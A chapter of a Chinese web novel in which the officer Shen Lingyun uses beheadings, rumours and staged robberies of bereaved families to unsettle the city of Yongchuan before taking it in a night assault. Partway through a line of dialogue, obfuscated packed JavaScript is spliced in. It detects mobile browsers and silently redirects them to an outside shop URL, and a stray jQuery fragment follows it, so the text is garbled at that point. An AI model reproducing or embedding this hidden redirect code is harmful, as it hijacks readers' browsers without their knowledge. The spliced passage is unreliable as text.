沈凌云带着剩下的士兵返回。
“大人,前方有人埋伏。我已派人追上去,对面只有百来人,看着也并不是守军。”
肖砚初有些意外,“只派百来人来袭击,无异于螳臂挡车,这永川县令是何用意?”
“这前头没准还有许多这样的把戏,虽造不成多少伤亡,但次数多了,防不胜防,也能扰乱军心。”
“属下已叫人将她们首级取回,之后派人连夜挂到永川县城门外,先扰乱对方的军心。”
沈凌云面无表情,将自己的打算告诉肖砚初。
肖砚初讶然,有些新奇的打量她,“沈三,你倒是变了许多。此前在青石,你可是对那些人于心不忍啊。如今倒像活阎王,永川百姓清早一瞧,岂不是会被吓破了胆。”
过于炎热的天气让沈凌云思绪不断起伏,她低垂着眼眸,神色不变,
“不过是你死我亡的斗争,属下还是得为我军这些将士考虑。”
肖砚初朗声笑起来,“你倒是进步不少,不再像那些男儿一样。就按你说的办,我倒是要瞧瞧,这永川县令如何应对。”
沈凌云点头回应,随后调转马头。
这永川县令似乎是个有能耐的,若是要硬攻,保不齐要僵持更久。现在有这些人送上来,刚好可以做文章。
过了会,那一队追击的奇兵便提着人头回来。
血淋淋的脑袋不断滴落液体,血液滴落在地,只是和那些沙砾混在一起,没有任何价值。
都是些陌生的面孔,她们背后都有亲人朋友,不知道这些人能否发挥大作用。
“沈都尉,人已全部斩杀。”
“你带三十人在晚上将这些人头挂到城门外,并潜入城中,将永川县令让普通百姓当替死鬼,一百来人来送死,挑衅近万人的大军的消息散播出去。”
“对了,在城中多说肖大人的好话。悄无声息地告诉城中百姓,肖大人对敌人绝不手软,但若是有诚心,大人定会善待。”
沈凌云吩咐完,这奇兵队长便立即将人头装好,前往永川县。
大约一刻钟,大军又继续前行。临近傍晚终于抵达永川县城附近的一处空地。
大军驻扎时,沈凌云四处察看了会,确保不会出意外,并要求大约半个时辰,队长就得清点队中人数,不能让闲杂人等混入驻地。
随后向肖砚初禀报,去驻地附近的山排除风险。
沈凌云带着大约十人,爬上空地旁最适合隐藏的山头。巡视一圈,这山头却没什么异常。她便将这十人回去复命,自己爬上山顶。
这山顶能望见不远处的永川城,大约是到了宵禁时间,城中只有些微的灯光。
山顶风有些大,将她的衣角吹得猎猎作响。沈凌云脑后的马尾被吹到她脸上,遮住了她的左眼,细微的发丝拂过脸颊,泛起痒意。
她拨开头发,双手抱胸,随意靠着一旁的树干。眼睛没有定处,好似是看着前方。但若是仔细观察,明明是放空的、游离的。
沈凌云说不上来此时的感受,只是恍然觉得,天地如此之大,好像没有她的容身之处。
上一世看着头顶的月亮,还会想起牵挂的人。但如今看着天上这轮弯月,好像不知道该牵挂谁。
前世那些身影的音容笑貌在这几年时光里,在那些充斥着鲜血与杀戮的梦里,都逐渐被她所淡忘。而在这很少有人顶替上她们的位置,让沈凌云能将其当做一点点寄托。
唯一的那个人,也死在了相州,尸骨都未能留下。
过去总是嫌弃那根拽着她的线,如今真成了断线的风筝,反而无端升起彷徨与无措。
她下意识想问自己,是否会彻底迷失在这些权力斗争中?是否会在不停的杀戮与战争中,释放心里所有的恶?
转眼,几只萤火虫从沈凌云跟前飞过,唤回了她放飞的思绪。
无论如何,她都要继续走下去。她如今站在这小山山顶俯视永川城,往后她会站在更高的地方。
她骨子里对权势的欲望被彻底激起,在这世道,每个女人都有机会一飞冲天,那为什么不能是她呢?
她明明有着一项其他人都没有的技能,为什么过去没想好好利用?
沈凌云抬头笑了声,直起身子,转身下山。
肖砚初下令,休整一天,后日再发起进攻。第二天下午,沈凌云便找到奇兵队长,询问她情况。
“永川城百姓作何反应?”
“沈都尉,我按照您说的将消息也散播出去了。但那永川县令今早一听这消息,立即派人给那一百人的家里送了银子。”
“你可知那一百人的家都在何处?”沈凌云问道。
“有些在城中,而有些则在附近的村落,属下今日一路跟着那县令的人,情况都了解。”
沈凌云大拇指揉搓着食指,开口道:“你伪装成那县令的人,将住在城中的那些死者家里的银子抢走。”
“记得一定要说是县令下令拿回来,只抢家中没有健壮女人的。走时告诉她们,像这样没有利用价值的,永川县令才不会像我们营州这群傻子一样,都一视同仁。那些银子不必声张出去,带回来给我。”
这队长有些不解,“为何要费这些心思,虽说那永川守军有几分实力,但只需五六天也能拿下,何故这样大费周章?”
“花最小的代价拿下,不是最好吗?谁知道永川之后是否会遇见更大的困难,能保存实力之事,何乐而不为?”
对方所说不是十分懂,但也认真点头,去执行命令。
沈凌云在她离开后,立刻去找肖砚初,以震慑敌方为由,将士兵拉去操练。
训练的声响震天,沈凌云确保能被永川城中百姓与将士听到,吓一吓她们。
到了晚上奇兵队长便回来复命,提着一小袋银子。
“沈都尉,这些就是按您的要求抢回来的银子。今日属下观察,他们其中有些人很是愤怒。抢银子时,那群人恨不得撕了属下。”
沈凌云点点头,“很好,你下去歇息吧,今日辛苦了。明日你继续在城中说我们的好,煽动他们,日后少不了你的好处。”
“那属下便先离开了。”这队长憨憨笑了几声,便退下了。
沈凌云掂量着手中这一袋子银两,打开一看,大约是五十两银子。
第三日,肖砚初下令,两千人一早去攻城。但持续到下午,都没能拿下。永川县令吩咐士兵从上头投火球、泼粪,还有撒些特殊药粉,总之招数频出。
而身上粘药粉的士兵有些觉得奇痒无比,有些则身体溃烂、浑身起泡。
前者还好,后者军中士兵一瞧都避之不及,生怕会传染。
临近傍晚,军中有些人心惶惶,那些浑身溃烂的士兵很快就没了。
奇兵队长灰头土脸的回来,“沈都尉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437823|138015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我按您说的都完成了。”
沈凌云则有些好奇,“你这是怎么了?”
“属下是从那护城河钻进城中,但今日护城河附近增加了许多士兵,属下回来费了些功夫。”
沈凌云挑眉,从昨天那袋银子中拿出一块碎银,“拿着吧,原本想着这银子等进城退还回去。你也辛苦了,若是事成,也算立了大功,这点银子先拿着吧。”
两人继续交流了一会,就去找肖砚初。
经过今天伤员的营帐时,里面传来些痛苦的哀嚎,也有人在大声咒骂。沈凌云进去瞧了眼,有些士兵身上还有一股味,有些浑身被挠出血,军医暂时也没想出法子。
沈凌云离开后,快步走到肖砚初营帐。
“大人,军中如今人心惶惶,属下请命前去夜袭,将今天丢掉的面子找回来。”她声音很是大义凛然。
“对方手里有些奇怪的药粉,那群军医暂时还未想出办法,你去了也是于事无补。”肖砚初有些不赞同。
“对面也许也猜我们会忌惮那些药粉,会按兵不动,我们出其不意定会有所收获。属下只需带一千人,只去灭灭她们的威风,不然一直如此,对大军不利。”
沈凌云又再三保证,肖砚初终于松口。
她带着一千人,很快就摸到城门外。沈凌云根据奇兵队长的描述,再加上她叫对方煽动那些死者家属,不知他们会做什么反应。
虽说是沈凌云派人杀了他们的妻主、母亲或是女儿。但她是防卫,加之她能带来利益,这些人会如何选择,沈凌云还是十分好奇。
城门上有士兵不断巡逻,沈凌云等人是夜行,并未发出很大声响,上头也没发现她们。
沈凌云派人去城墙西边吹响号角,制造出大动静。她带人在城墙东边城门这猫着。
沈凌云安抚着旁边这匹陪着自己一路的马,一行人静悄悄的蹲守着。
很快里面传来一阵喧嚣,大量士兵涌向城墙西面。因为很黑,上头那些箭羽胡乱射向西边发出声音的地方。
沈凌云这时听到城门发出声响,似乎是有人再打开城门。
她勾起嘴角,朝旁边的士兵低声说:“立即回去通知肖将军带人来攻城,动作要快!”
她带人立即进攻,这时那永川县令似乎已经被吵醒,正在上头指挥部分士兵往东边来。
沈凌云叫人去撞城门,没想到居然开了个口,但已经有士兵察觉,里面乱作一团。
她派去西边的士兵也赶了回来,一千人很快将城门撞开。沈凌云骑上马,提着大刀往里面冲。
厮杀声震耳欲聋,血腥味很快蔓延开来。沈凌云不停挥动手中的大刀,那些鲜血溅在马匹上,将马的鬃毛染成一缕一缕。
就在她手快要麻木时,肖砚初带人赶了过来,几乎是以压倒性的优势,赢下了这场仗。
派人清扫战场,沈凌云牵着马,跟着肖砚初前往县令府邸。那永川县令在彻底无望时,已经在城墙上自刎而亡。
沈凌云有些惋惜,这人有些才能。但据她打听到的,这人刚来永川,上任还没几个礼拜。再加上上一任县令因为贪污被摘了乌纱帽,百姓对她并没有什么信任,沈凌云才能成功。
她有些好奇,到底是谁如此合她心意,真敢趁乱开城门。
这时沈凌云瞥见街角那站着个瘦弱的身影,穿着不合身的盔甲,静静地看着沈凌云这一行人。